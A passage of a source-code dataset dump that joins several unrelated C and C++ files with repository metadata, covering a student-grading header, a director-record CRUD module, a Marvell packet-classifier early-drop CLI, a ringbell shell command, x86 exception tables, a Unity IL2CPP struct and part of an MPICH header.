| [
"info@elias-kuiter.de"
] | info@elias-kuiter.de |
e6ae00bbeb13ae03c62d6232ed119d3ccf371654 | b3a847cca7271da0683f54a65f09e59b67e60e11 | /CplusplusSample/SampleProject/Chap6/Grading/did_all_hw.h | e8ef437c3b54efec6fdd47d773e687250cd7bae6 | [] | no_license | nhan0504/Learn-C-plus-plus | 484bdc4dcae1eae56ab2a747e5e786758c5aecaf | 6536bc15b3452f7201453b1071598a631a93afd4 | refs/heads/main | 2023-06-01T23:55:45.030435 | 2021-06-18T04:29:25 | 2021-06-18T04:29:25 | 324,389,310 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 125 | h | #ifndef GUARD_did_all_hw.h
#define GUARD_did_all_hw.h
#include "Student_info.h"
bool did_all_hw(const Student_info&);
#endif
| [
"ttn0504ltt@gmail.com"
] | ttn0504ltt@gmail.com |
92b471ea7b3aaab0628b2d722beb21f930c63e78 | 74ee33613d5946ff56fcb0636cb8133a5bbcfb90 | /02 - Parciales/Parcial 1 - ABM/Funciones/estructuraDirector.c | 5ef5473d730f027d1f62bc94a66853a981db08d3 | [] | no_license | aeserein/Carpeta-C | 9bb54bb6592e6d2394cf5729232f18bcfebf471d | 3573a8dd141e005d87b140f769a0cbd68a888fe0 | refs/heads/master | 2020-03-27T18:45:23.105867 | 2019-08-18T04:42:28 | 2019-08-18T04:42:28 | 146,941,068 | 0 | 1 | null | null | null | null | UTF-8 | C | false | false | 7,059 | c | #include "estructuraDirector.h"
int director_init( director listado[],int limite) {
int retorno = -1;
int i;
if(limite > 0 && listado != NULL)
{
retorno = 0;
for(i=0; i<limite; i++)
{
listado[i].estado= VACIO;
listado[i].id= 0;
}
}
return retorno;
}
void director_hardcode(director listado[]) {
int id[5] = {0,1,2,3,4};
char nombre[][TAM]= {"Director1","Director2","Director3","Director4","Director5"};
int diaNac[5] = {11,12,13,14,15};
int mesNac[5] = {1,2,3,4,5};
int anioNac[5] = {1901,1902,1903,1904,1905};
char nacionalidad[][TAM] = {"Argentina", "Paraguay", "Brasil", "Chile", "Bolivia"};
int i;
for(i=0; i<5; i++) {
listado[i].id = id[i];
strcpy(listado[i].nombre,nombre[i]);
listado[i].diaNacimiento = diaNac[i];
listado[i].mesNacimiento = mesNac[i];
listado[i].anioNacimiento = anioNac[i];
strcpy(listado[i].pais, nacionalidad[i]);
listado[i].estado = ALTA;
}
}
int director_estaVacioEsteArray(director lista[], int len) {
int estaVacio = -1;
int i;
if(len > 0 && lista != NULL) {
estaVacio = 1;
for(i=0; i<len; i++) {
if (lista[i].estado==ALTA) {
estaVacio = 0;
break;
}
}
}
return estaVacio;
}
//////////////////////////////////////////////////////////////////
int director_buscarPorId(director lista[] ,int limite, int id) {
int retorno = -1;
int i;
if(limite > 0 && lista != NULL) {
retorno = -2;
for(i=0;i<limite;i++) {
if(lista[i].estado == ALTA && lista[i].id == id) {
retorno = i;
break;
}
}
}
return retorno;
}
int director_siguienteId(director lista[],int limite) {
int retorno = 0;
int i;
if(limite > 0 && lista != NULL) {
retorno = -1;
for(i=0; i<limite; i++) {
if(lista[i].estado == ALTA && lista[i].id>retorno) {
retorno=lista[i].id;
}
}
}
return retorno+1;
}
int director_buscarLugarLibre(director lista[],int limite) {
int retorno = -1;
int i;
if(limite > 0 && lista != NULL) {
retorno = -2;
for(i=0;i<limite;i++) {
if(lista[i].estado == VACIO || lista[i].estado == BAJA) {
retorno = i;
break;
}
}
}
return retorno;
}
//////////////////////////////////////////////////////////////////
void director_ListaHeader() {
printf("\n");
printf(" __________________________________________________________________\n");
director_listaRenglon();
printf(" | %5s | %18s | %11s | %17s |\n" , "ID" , "Nombre" , "Fecha Nac.", "Pais");
director_cierreLista();
director_listaRenglon();
}
void director_listaRenglon() {
printf(" | | | | |\n");
}
void director_cierreLista() {
printf(" |________|_____________________|______________|____________________|\n");
}
void director_mostrarUno(director lista) {
printf(" | %5d |", lista.id);
printf(" %18s |", lista.nombre);
printf(" %.2hi/", lista.diaNacimiento);
printf("%.2hi/", lista.mesNacimiento);
printf("%hi |", lista.anioNacimiento);
printf(" %17s |\n" , lista.pais);
}
void director_mostrarUnoConHeader(director lista) {
director_ListaHeader();
printf(" | %5d |", lista.id);
printf(" %18s |", lista.nombre);
printf(" %.2hi/", lista.diaNacimiento);
printf("%.2hi/", lista.mesNacimiento);
printf("%hi |", lista.anioNacimiento);
printf(" %17s |\n" , lista.pais);
director_cierreLista();
}
void director_mostrarNombreDirector(director lista) {
printf(" %14.14s |\n", lista.nombre);
}
void director_mostrarListado(director lista[],int limite) {
int i;
director_ordenarPorID(lista, limite);
if(limite > 0 && lista != NULL) {
director_ListaHeader();
for(i=0; i<limite; i++) {
if(lista[i].estado==ALTA) {
director_mostrarUno(lista[i]);
}
}
director_cierreLista();
}
}
//////////////////////////////////////////////////////////////////
void director_alta(director lista[],int limite) {
int id;
int indice;
short f;
short encontro = 0;
int indiceDirectorEncontrado;
if(limite > 0 && lista != NULL) {
indice = director_buscarLugarLibre(lista,limite);
if(indice >= 0) {
id = director_siguienteId(lista,limite);
getString(lista[indice].nombre, "\nNombre:\t\t\t", TAM);
primerasLetrasMayusculas(lista[indice].nombre);
for (f=0 ; f<limite ; f++) {
if (f==indice) { continue; }
if ( stricmp(lista[indice].nombre , lista[f].nombre)==0) {
encontro = 1;
indiceDirectorEncontrado = f;
}
}
if (!encontro) {
lista[indice].diaNacimiento = getIntBetween(1,31, "Nacimiento - Dia:\t");
lista[indice].mesNacimiento = getIntBetween(1,12, "Nacimiento - Mes:\t");
lista[indice].anioNacimiento = getIntBetween(1900,2010, "Nacimiento - Anio:\t");
getString(lista[indice].pais, "Pais de origen:\t\t" , TAM);
primerasLetrasMayusculas(lista[indice].pais);
lista[indice].id = id;
lista[indice].estado = ALTA;
} else {
system("cls");
printf("\nEse director ya se encuentra en el sistema.\n");
director_mostrarUnoConHeader(lista[indiceDirectorEncontrado]);
}
}
}
}
int director_baja(director lista[] ,int limite, int id) {
short encontro = 0;
int idDelDirectorBorrado = -1;
limite--;
for ( ; limite>=0 ; limite--) {
if (lista[limite].estado==1 && id==lista[limite].id) {
encontro = 1;
break;
}
}
if (encontro) {
system("cls");
director_mostrarUnoConHeader(lista[limite]);
if (pregunta("Esta seguro? S/N\t")) {
idDelDirectorBorrado = lista[limite].id;
lista[limite].estado = VACIO;
strcpy(lista[limite].nombre,"");
printf("\n\nDirector borrado\n");
}
} else {
printf("\nNo se encontr%c el ID %d\n" , 162, id);
}
return idDelDirectorBorrado;
}
//////////////////////////////////////////////////////////////////
void director_ordenarPorID(director lista[], int len) {
short f, i;
director directorAux;
for (f=0 ; f<len-1 ; f++) {
for (i=f+1 ; i<len ; i++) {
if (lista[i].estado==ALTA && lista[f].id>lista[i].id) {
directorAux = lista[f];
lista[f] = lista[i];
lista[i] = directorAux;
}
}
}
}
| [
"ae.serein@gmail.com"
] | ae.serein@gmail.com |
9af77b437e76dfa89cf724b01d093f3fe10ca087 | bec856a283de845e8deb1338049e68b45ab41aba | /apps/tests/ppv2/cls/cls_edrop.c | 40192ee73acdad38e9a4f08e81c38c6eb58b32f8 | [
"BSD-3-Clause"
] | permissive | MarvellEmbeddedProcessors/musdk-marvell | 7fb1bbe5e6e53b1d2581b77e0e60a3c23de75eec | 278748af6e197672551ba220c8720d9ae0a8461e | refs/heads/musdk-release-SDK-10.3.5.0-PR2 | 2023-01-19T09:54:31.359738 | 2020-12-16T21:10:16 | 2020-12-16T21:10:16 | 87,414,878 | 12 | 15 | BSD-3-Clause | 2022-08-28T00:04:40 | 2017-04-06T10:03:52 | null | UTF-8 | C | false | false | 13,497 | c | /*******************************************************************************
* Copyright (C) Marvell International Ltd. and its affiliates
*
* This software file (the "File") is owned and distributed by Marvell
* International Ltd. and/or its affiliates ("Marvell") under the following
* alternative licensing terms. Once you have made an election to distribute the
* File under one of the following license alternatives, please (i) delete this
* introductory statement regarding license alternatives, (ii) delete the three
* license alternatives that you have not elected to use and (iii) preserve the
* Marvell copyright notice above.
*
********************************************************************************
* Marvell Commercial License Option
*
* If you received this File from Marvell and you have entered into a commercial
* license agreement (a "Commercial License") with Marvell, the File is licensed
* to you under the terms of the applicable Commercial License.
*
********************************************************************************
* Marvell GPL License Option
*
* If you received this File from Marvell, you may opt to use, redistribute and/or
* modify this File in accordance with the terms and conditions of the General
* Public License Version 2, June 1991 (the "GPL License"), a copy of which is
* available along with the File in the license.txt file or by writing to the Free
* Software Foundation, Inc., or on the worldwide web at http://www.gnu.org/licenses/gpl.txt.
*
* THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE IMPLIED
* WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE ARE EXPRESSLY
* DISCLAIMED. The GPL License provides additional details about this warranty
* disclaimer.
*
********************************************************************************
* Marvell GNU General Public License FreeRTOS Exception
*
* If you received this File from Marvell, you may opt to use, redistribute and/or
* modify this File in accordance with the terms and conditions of the Lesser
* General Public License Version 2.1 plus the following FreeRTOS exception.
* An independent module is a module which is not derived from or based on
* FreeRTOS.
* Clause 1:
* Linking FreeRTOS statically or dynamically with other modules is making a
* combined work based on FreeRTOS. Thus, the terms and conditions of the GNU
* General Public License cover the whole combination.
* As a special exception, the copyright holder of FreeRTOS gives you permission
* to link FreeRTOS with independent modules that communicate with FreeRTOS solely
* through the FreeRTOS API interface, regardless of the license terms of these
* independent modules, and to copy and distribute the resulting combined work
* under terms of your choice, provided that:
* 1. Every copy of the combined work is accompanied by a written statement that
* details to the recipient the version of FreeRTOS used and an offer by yourself
* to provide the FreeRTOS source code (including any modifications you may have
* made) should the recipient request it.
* 2. The combined work is not itself an RTOS, scheduler, kernel or related
* product.
* 3. The independent modules add significant and primary functionality to
* FreeRTOS and do not merely extend the existing functionality already present in
* FreeRTOS.
* Clause 2:
* FreeRTOS may not be used for any competitive or comparative purpose, including
* the publication of any form of run time or compile time metric, without the
* express permission of Real Time Engineers Ltd. (this is the norm within the
* industry and is intended to ensure information accuracy).
*
********************************************************************************
* Marvell BSD License Option
*
* If you received this File from Marvell, you may opt to use, redistribute and/or
* modify this File under the following licensing terms.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* * Neither the name of Marvell nor the names of its contributors may be
* used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*******************************************************************************/
#include <string.h>
#include <stdio.h>
#include <getopt.h>
#include "mvapp.h"
#include "../pp2_tests_main.h"
#include "src/drivers/ppv2/pp2.h"
#include "src/drivers/ppv2/cls/pp2_cls_types.h"
#include "src/drivers/ppv2/cls/pp2_cls_internal_types.h"
#include "src/drivers/ppv2/cls/pp2_c3.h"
#include "src/drivers/ppv2/cls/pp2_c2.h"
#include "src/drivers/ppv2/cls/pp2_flow_rules.h"
#include "src/drivers/ppv2/cls/pp2_cls_db.h"
#include "mv_pp2_ppio.h"
struct edrop_node {
int valid;
int busy;
struct pp2_cls_early_drop *edrop;
struct pp2_cls_early_drop_params edrop_params;
};
static struct edrop_node edrops[PP2_CLS_EARLY_DROP_NUM];
static int cli_cls_edrop_get_edrop_node(int idx)
{
int i;
if (idx >= 0) {
if (idx >= PP2_CLS_EARLY_DROP_NUM)
return -EFAULT;
/* "reserved" will be check in driver. this way we can do unit test fot the driver*/
if (edrops[idx].busy) {
printf("Occupied edrop-id\n");
return -1;
}
return idx;
}
for (i = 0; i < PP2_CLS_EARLY_DROP_NUM; i++)
if (edrops[i].valid && !edrops[i].busy)
return i;
printf("No free edrops-idx\n");
return -1;
}
static int cli_cls_edrop_add(void *arg, int argc, char *argv[])
{
struct port_desc *port_desc = (struct port_desc *)arg;
struct pp2_cls_early_drop_params edrop_params;
char name[15];
char *ret_ptr;
int edrop_idx = -1, option = 0;
int long_index = 0;
struct option long_options[] = {
{"edrop_index", required_argument, 0, 'e'},
{"threshold", required_argument, 0, 't'},
{0, 0, 0, 0}
};
/* every time starting getopt we should reset optind */
optind = 0;
/* Get parameters */
memset(&edrop_params, 0, sizeof(struct pp2_cls_early_drop_params));
while ((option = getopt_long_only(argc, argv, "", long_options, &long_index)) != -1) {
switch (option) {
case 'e':
edrop_idx = strtoul(optarg, &ret_ptr, 0);
if ((optarg == ret_ptr) || (edrop_idx < 1) || (edrop_idx > PP2_CLS_EARLY_DROP_NUM)) {
printf("parsing fail, wrong input for --edrop_index\n");
return -EINVAL;
}
edrop_idx -= 1;
break;
case 't':
edrop_params.threshold = strtoul(optarg, &ret_ptr, 0);
break;
default:
printf("parsing fail, wrong input, line = %d\n", __LINE__);
return -EINVAL;
}
}
edrop_idx = cli_cls_edrop_get_edrop_node(edrop_idx);
if (edrop_idx < 0) {
printf("FAIL\n");
return 0;
}
memcpy(&edrops[edrop_idx].edrop_params, &edrop_params, sizeof(struct pp2_cls_early_drop_params));
memset(name, 0, sizeof(name));
snprintf(name, sizeof(name), "ed-%d:%d", port_desc->pp_id, edrop_idx);
edrops[edrop_idx].edrop_params.match = name;
if (!pp2_cls_early_drop_init(&edrops[edrop_idx].edrop_params, &edrops[edrop_idx].edrop)) {
printf("OK\n");
edrops[edrop_idx].busy = 1;
} else
printf("FAIL\n");
return 0;
}
static int cli_cls_edrop_remove(void *arg, int argc, char *argv[])
{
int edrop_idx = -1;
char *ret_ptr;
int option = 0;
int long_index = 0;
struct option long_options[] = {
{"edrop_index", required_argument, 0, 'e'},
{0, 0, 0, 0}
};
if (argc != 3) {
pr_err("Invalid number of arguments for %s command! number of arguments = %d\n", __func__, argc);
return -EINVAL;
}
/* every time starting getopt we should reset optind */
optind = 0;
/* Get parameters */
while ((option = getopt_long_only(argc, argv, "", long_options, &long_index)) != -1) {
switch (option) {
case 'e':
edrop_idx = strtoul(optarg, &ret_ptr, 0);
if ((optarg == ret_ptr) || (edrop_idx < 1) || (edrop_idx > PP2_CLS_EARLY_DROP_NUM)) {
printf("parsing fail, wrong input for --edrop_index\n");
return -EINVAL;
}
edrop_idx -= 1;
break;
default:
printf("parsing fail, wrong input, line = %d\n", __LINE__);
return -EINVAL;
}
}
/* check if all the fields are initialized */
if (edrop_idx < 0) {
printf("parsing fail, invalid --edrop_index\n");
return -EINVAL;
}
if (edrops[edrop_idx].valid &&
edrops[edrop_idx].busy &&
edrops[edrop_idx].edrop) {
pp2_cls_early_drop_deinit(edrops[edrop_idx].edrop);
printf("OK\n");
edrops[edrop_idx].busy = 0;
edrops[edrop_idx].edrop = NULL;
} else
printf("invalid state. can't remove edrop\n");
return 0;
}
static int cli_cls_edrop_assign_qid(void *arg, int argc, char *argv[])
{
struct port_desc *port_desc = (struct port_desc *)arg;
char *ret_ptr;
int edrop_idx = -1, option = 0, long_index = 0, assign = 1, tc = -1, qid = -1;
struct option long_options[] = {
{"edrop_index", required_argument, 0, 'e'},
{"tc", required_argument, 0, 't'},
{"qid", required_argument, 0, 'q'},
{"unassign", no_argument, 0, 'a'},
{0, 0, 0, 0}
};
/* every time starting getopt we should reset optind */
optind = 0;
/* Get parameters */
while ((option = getopt_long_only(argc, argv, "", long_options, &long_index)) != -1) {
switch (option) {
case 'e':
edrop_idx = strtoul(optarg, &ret_ptr, 0);
if ((optarg == ret_ptr) || (edrop_idx < 1) || (edrop_idx > PP2_CLS_EARLY_DROP_NUM)) {
printf("parsing fail, wrong input for --edrop_index\n");
return -EINVAL;
}
edrop_idx -= 1;
break;
case 't':
tc = strtoul(optarg, &ret_ptr, 0);
break;
case 'q':
qid = strtoul(optarg, &ret_ptr, 0);
break;
case 'a':
assign = 0;
break;
default:
printf("parsing fail, wrong input, line = %d\n", __LINE__);
return -EINVAL;
}
}
/* check if all the fields are initialized */
if (edrop_idx < 0) {
printf("parsing fail, invalid --edrop_index\n");
return -EINVAL;
}
if (tc < 0) {
printf("parsing fail, invalid --tc\n");
return -EINVAL;
}
if (qid < 0) {
printf("parsing fail, invalid --qid\n");
return -EINVAL;
}
if (edrops[edrop_idx].valid &&
edrops[edrop_idx].busy &&
edrops[edrop_idx].edrop &&
(!pp2_ppio_set_inq_early_drop(port_desc->ppio, tc, qid, assign, edrops[edrop_idx].edrop))) {
printf("OK\n");
} else
printf("FAIL\n");
return 0;
}
static int pp2_cls_cli_edrops_dump(struct port_desc *port_desc)
{
struct pp2_port *port = GET_PPIO_PORT(port_desc->ppio);
struct pp2_inst *inst = port->parent;
pp2_cls_edrop_dump(inst);
return 0;
}
void cli_cls_prepare_edrops_db(u32 edrops_reserved_map)
{
int i;
memset(edrops, 0, sizeof(edrops));
for (i = 0; i < PP2_CLS_EARLY_DROP_NUM; i++)
if (!(edrops_reserved_map & (1 << i)))
edrops[i].valid = 1;
}
void unregister_cli_cls_api_edrop_cmds(void)
{
int i;
for (i = 0; i < PP2_CLS_EARLY_DROP_NUM; i++)
if (edrops[i].valid && edrops[i].busy)
pp2_cls_early_drop_deinit(edrops[i].edrop);
}
int register_cli_cls_api_edrop_cmds(struct port_desc *arg)
{
struct cli_cmd_params cmd_params;
memset(&cmd_params, 0, sizeof(cmd_params));
cmd_params.name = "cls_edrop_init";
cmd_params.desc = "create an early-drop entry";
cmd_params.format = "--edrop_index --threshold";
cmd_params.cmd_arg = arg;
cmd_params.do_cmd_cb = (int (*)(void *, int, char *[]))cli_cls_edrop_add;
mvapp_register_cli_cmd(&cmd_params);
memset(&cmd_params, 0, sizeof(cmd_params));
cmd_params.name = "cls_edrop_deinit";
cmd_params.desc = "remove a specified early-drop entry";
cmd_params.format = "--edrop_index (dec) index to existing early-drop entry\n";
cmd_params.cmd_arg = arg;
cmd_params.do_cmd_cb = (int (*)(void *, int, char *[]))cli_cls_edrop_remove;
mvapp_register_cli_cmd(&cmd_params);
memset(&cmd_params, 0, sizeof(cmd_params));
cmd_params.name = "cls_edrop_assign_qid";
cmd_params.desc = "un/assign qid to an early-drop entry";
cmd_params.format = "--edrop_index --tc --qid --unassign(opt)";
cmd_params.cmd_arg = arg;
cmd_params.do_cmd_cb = (int (*)(void *, int, char *[]))cli_cls_edrop_assign_qid;
mvapp_register_cli_cmd(&cmd_params);
memset(&cmd_params, 0, sizeof(cmd_params));
cmd_params.name = "cls_edrop_dump";
cmd_params.desc = "dump edrops entries";
cmd_params.format = "";
cmd_params.cmd_arg = arg;
cmd_params.do_cmd_cb = (int (*)(void *, int, char *[]))pp2_cls_cli_edrops_dump;
mvapp_register_cli_cmd(&cmd_params);
return 0;
}
| [
"lironh@marvell.com"
] | lironh@marvell.com |
0ca8add7f4d494bcdeda613a9794131dc01634d6 | a40eeb616f62673ecb279df805d0836f28d9b6c2 | /shell/sh_ringbell.c | e14098a4c8831cfa38c1bf510c26fc4e5429f63c | [] | no_license | waxife/nezha | d729a52559b4c019d8942d54775fa58a47943103 | 24e9370066517a8c74b85a2cf5c1470ebcc407a4 | refs/heads/master | 2021-01-19T21:08:24.883242 | 2017-04-21T11:51:44 | 2017-04-21T11:51:44 | 88,610,691 | 1 | 1 | null | null | null | null | UTF-8 | C | false | false | 2,313 | c | /**
* @file sh_audio.c
* @brief audio test command
* $Id: sh_ringbell.c,v 1.3 2014/03/07 03:36:03 lym Exp $
* $Author: lym $
* $Revision: 1.3 $
*
* Copyright (c) 2012 Terawins Inc. All rights reserved.
*
* @date 2013/09/03 hugo New file.
*
*/
#include <config.h>
#include <stdio.h>
#include <shell.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <serial.h>
#include <ctype.h>
#include <audio.h>
#include <debug.h>
#include "irq.h"
#include "interrupt.h"
#include <codec_eng/ringbell.h>
#include "volume.h"
command_init (sh_ringbell, "ringbell", "ringbell <idx> [<count>]");
command_init (sh_stopbell, "stopbell", "stopbell");
command_init (sh_vol_ctrl, "volumectr", "volumectr [<volume>]");
static int sh_ringbell (int argc, char **argv, void **result, void *sys_ctx)
{
int idx;
int count = 0;
int rc = 0;
if(argc < 2)
goto EXIT;
idx = atoi(argv[1]);
count = (argc > 2) ? atoi(argv[2]) : 1;
printf("ringbell idx = %d, repeat count = %d\n",idx,count);
rc = ringbell(idx,count);
return 0;
EXIT:
print_usage(sh_ringbell);
return rc;
}
static int sh_stopbell (int argc, char **argv, void **result, void *sys_ctx)
{
stopbell();
return 0;
}
static int sh_vol_ctrl(int argc, char **argv, void **result, void *sys_ctx)
{
int rc = 0;
int vol = 16;
int ch;
if (argc >= 1)) {
vol = atoi(argv[1]);
}
vol_init(vol);
while(1){
ch = getb2 ();
if (ch > 0) {
printf ("'%c'\n", ch);
switch (toupper (ch)) {
case 'U':
vol = vol_up();
printf ("Volume UP %d\n", vol);
break;
case 'D':
vol = vol_down();
printf ("Volume DOWN %d\n", vol);
break;
case 'S':
printf ("Set volume to 16.\n");
vol = vol_set(16);
break;
case 'Q':
printf ("Exit Volume control.\n");
goto EXIT;
break;
}
}
}
EXIT:
print_usage(sh_vol_ctrl);
return rc;
}
| [
"bob.wang@st.com"
] | bob.wang@st.com |
276250eb7aa48c4f5f3717caddeb8079d5d70980 | a48c619fa5c04e93a39262878e2b09720930c197 | /kernel/arch/x86/exn.c | 7d127d8041db53db8e197823660fd7f921b1d098 | [] | no_license | vn-os/moridin_simple_os | 61504775034b2efebac8851b31e9bcd6935df7ea | a02c5271607894373a92d0d43c04af60f481fd26 | refs/heads/master | 2023-03-16T09:53:34.770831 | 2015-05-05T02:26:05 | 2015-05-05T02:26:05 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,133 | c | /**
* @file x86/exn.c
*
*/
#include <arch/exn.h>
#include <arch/idt.h>
#include <arch/reg.h>
#include <arch/vm.h>
#include <assert.h>
#include <types.h>
void page_fault(int vector, int error, struct registers *regs);
/*
* x86 exception handling jump table
*/
void (*exn_table[])(int vector, int error, struct registers *regs) = {
[0 ... 13] = exn_panic,
[14] = page_fault,
[15 ... 20] = exn_panic
};
void exn_panic(int vector, int error, struct registers *regs)
{
struct x86_exn *exn = &x86_exceptions[vector];
ERROR("\n"
"-------------------------------------------------------------------\n"
"%d %s %s (cause: %s)\n"
"-------------------------------------------------------------------\n"
"eip: 0x%08x\n"
"ebp: 0x%08x\n"
"\n"
"edi: 0x%08x esi: 0x%08x\n"
"eax: 0x%08x ebx: 0x%08x\n"
"ecx: 0x%08x edx: 0x%08x\n"
"\n"
"cr0: 0x%08x\n"
"cr2: 0x%08x\n"
"cr3: 0x%08x\n"
"cr4: 0x%08x\n"
"\n"
"ds: 0x%08x\n"
"es: 0x%08x\n"
"fs: 0x%08x\n"
"gs: 0x%08x\n"
"\n"
"error: %d\n"
"-------------------------------------------------------------------",
exn->vector, exn->mnemonic, exn->description, exn->cause,
regs->eip,
regs->ebp,
regs->edi, regs->esi,
regs->eax, regs->ebx,
regs->ecx, regs->edx,
get_cr0(),
regs->cr2,
regs->cr3,
get_cr4(),
regs->ds,
regs->es,
regs->fs,
regs->gs,
error
);
panic("Exception %d during boot. Aborting.", exn->vector);
}
/**
* @brief These are all the exceptions that can be generated by an x86
* processor.
*/
struct x86_exn x86_exceptions[] = {
{ 0, "#DE", "Divide Error Fault",
X86_FAULT,
"DIV or IDIV instructions",
false,
EXN_HANDLER_NAME(0)
},
{ 1, "#DB", "Debug",
X86_FAULT | X86_TRAP,
"INT 1 instruction",
false,
EXN_HANDLER_NAME(1)
},
{ 2, "NMI", "Non-Maskable Interrupt",
0,
"Nonmaskable external interrupt",
false,
EXN_HANDLER_NAME(2)
},
{ 3, "#BP", "Breakpoint",
X86_TRAP,
"INT 3 instruction",
false,
EXN_HANDLER_NAME(3)
},
{ 4, "#OF", "Overflow",
X86_TRAP,
"INTO instruction",
false,
EXN_HANDLER_NAME(4)
},
{ 5, "#BR", "BOUND Range Exceeded",
X86_FAULT,
"BOUND instruction",
false,
EXN_HANDLER_NAME(5)
},
{ 6, "#UD", "Invalid Opcode",
X86_FAULT,
"UD2 instruction or reserved opcode",
false,
EXN_HANDLER_NAME(6)
},
{ 7, "#NM", "Device Not Available (No Math Coprocessor)",
X86_FAULT,
"Floating-point or WAIT/FWAIT instruction",
false,
EXN_HANDLER_NAME(7)
},
{ 8, "#DF", "Double Fault",
X86_ABORT,
"Any instruction that can generate an exception, an NMI, "
"or an INTR",
true,
EXN_HANDLER_NAME(8)
},
{ 9, "---", "Coprocessor Segment Overrun (reserved)",
X86_FAULT,
"Floating-point instruction",
false,
EXN_HANDLER_NAME(9)
},
{ 10, "#TS", "Invalid TSS",
X86_FAULT,
"Task switch or TSS access",
true,
EXN_HANDLER_NAME(10)
},
{ 11, "#NP", "Segment Not Present",
X86_FAULT,
"Loading segment registers or accessing system segments.",
true,
EXN_HANDLER_NAME(11)
},
{ 12, "#SS", "Stack-Segment Fault",
X86_FAULT,
"Stack operations and SS register",
true,
EXN_HANDLER_NAME(12)
},
{ 13, "#GP", "General Protection Fault",
X86_FAULT,
"Any memory reference and other protection checks",
true,
EXN_HANDLER_NAME(13)
},
{ 14, "#PF", "Page Fault",
X86_FAULT,
"Any memory reference",
true,
EXN_HANDLER_NAME(14)
},
{ 15, "---", "Intel reserved",
0,
"Do not use",
false,
EXN_HANDLER_NAME(15)
},
{ 16, "#MF", "x87 FPU Floating-Point Error (Math Fault)",
X86_FAULT,
"x87 FPU floating-point or WAIT/FWAIT instruction",
false,
EXN_HANDLER_NAME(16)
},
{ 17, "#AC", "Alignment Check",
X86_FAULT,
"Any data reference in memory",
true,
EXN_HANDLER_NAME(17)
},
{ 18, "#MC", "Machine Check",
X86_ABORT,
"Error codes (if any) and source are model dependent",
false,
EXN_HANDLER_NAME(18)
},
{ 19, "#XF", "SIMD Floating-Point Exception",
X86_FAULT,
"SSE and SSE2 floating-point instructions",
false,
EXN_HANDLER_NAME(19)
}
/*
* Intel reserves vectors 20-31
*/
/*
* User defined vectors 32-255
*/
};
| [
"matlackdavid@gmail.com"
] | matlackdavid@gmail.com |
606f9e9e844902a770b9dfe4580edfda3c599ea5 | af7977991477325ddc604b6d3e2ac3cb4aa29337 | /FlappyBirdGame3D2.0/Temp/il2cppOutput/il2cppOutput/mscorlib_System_Array_InternalEnumerator_1_gen426083020.h | 8067001074116e329895de8afcee691f12a9bcb4 | [] | no_license | jpf2141/FlappyBird3D | b824cf5fac6ca3c5739afc342b659af1f2836ab9 | fe4e9c421ec8dc26a7befd620f9deaf3c6361de5 | refs/heads/master | 2021-01-21T13:53:25.062470 | 2016-05-06T02:39:28 | 2016-05-06T02:39:28 | 55,712,365 | 3 | 1 | null | null | null | null | UTF-8 | C | false | false | 504 | h | #pragma once
#include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <stdint.h>
// System.Array
struct Array_t;
#include "mscorlib_System_ValueType_103494864.h"
// System.Array/InternalEnumerator`1<Vuforia.HideExcessAreaAbstractBehaviour>
struct InternalEnumerator_1_t426083020_0
{
// System.Array System.Array/InternalEnumerator`1::array
Array_t * ___array_0;
// System.Int32 System.Array/InternalEnumerator`1::idx
int32_t ___idx_1;
};
| [
"jpf2141@columbia.edu"
] | jpf2141@columbia.edu |
a1add91b4f261db1425139b25345c476ef071f04 | 807e340c4640c2bd0a071c6d238d6f6ac83e0be9 | /src/mpi/coll/ireduce/ireduce_tsp_ring_algos_prototypes.h | 3ccd92dc65e9fc791e7855dbd1f7f20a6957df8a | [
"mpich2"
] | permissive | shefty/mpich | 0980b53a19b9de10c95a4b68e223b616d66e4217 | c832b01ff0030ead33ee52472a2f7f325760141d | refs/heads/master | 2020-03-23T20:59:04.265296 | 2018-07-17T14:21:23 | 2018-07-23T21:01:05 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,434 | h | /* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil ; -*- */
/*
* (C) 2006 by Argonne National Laboratory.
* See COPYRIGHT in top-level directory.
*
* Portions of this code were written by Intel Corporation.
* Copyright (C) 2011-2017 Intel Corporation. Intel provides this material
* to Argonne National Laboratory subject to Software Grant and Corporate
* Contributor License Agreement dated February 8, 2012.
*/
/* Header protection (i.e., IREDUCE_TSP_RING_ALGOS_PROTOTYPES_H_INCLUDED) is
* intentionally omitted since this header might get included multiple
* times within the same .c file. */
#include "tsp_namespace_def.h"
#undef MPIR_TSP_Ireduce_intra_ring
#define MPIR_TSP_Ireduce_intra_ring MPIR_TSP_NAMESPACE(Ireduce_intra_ring)
#undef MPIR_TSP_Ireduce_sched_intra_ring
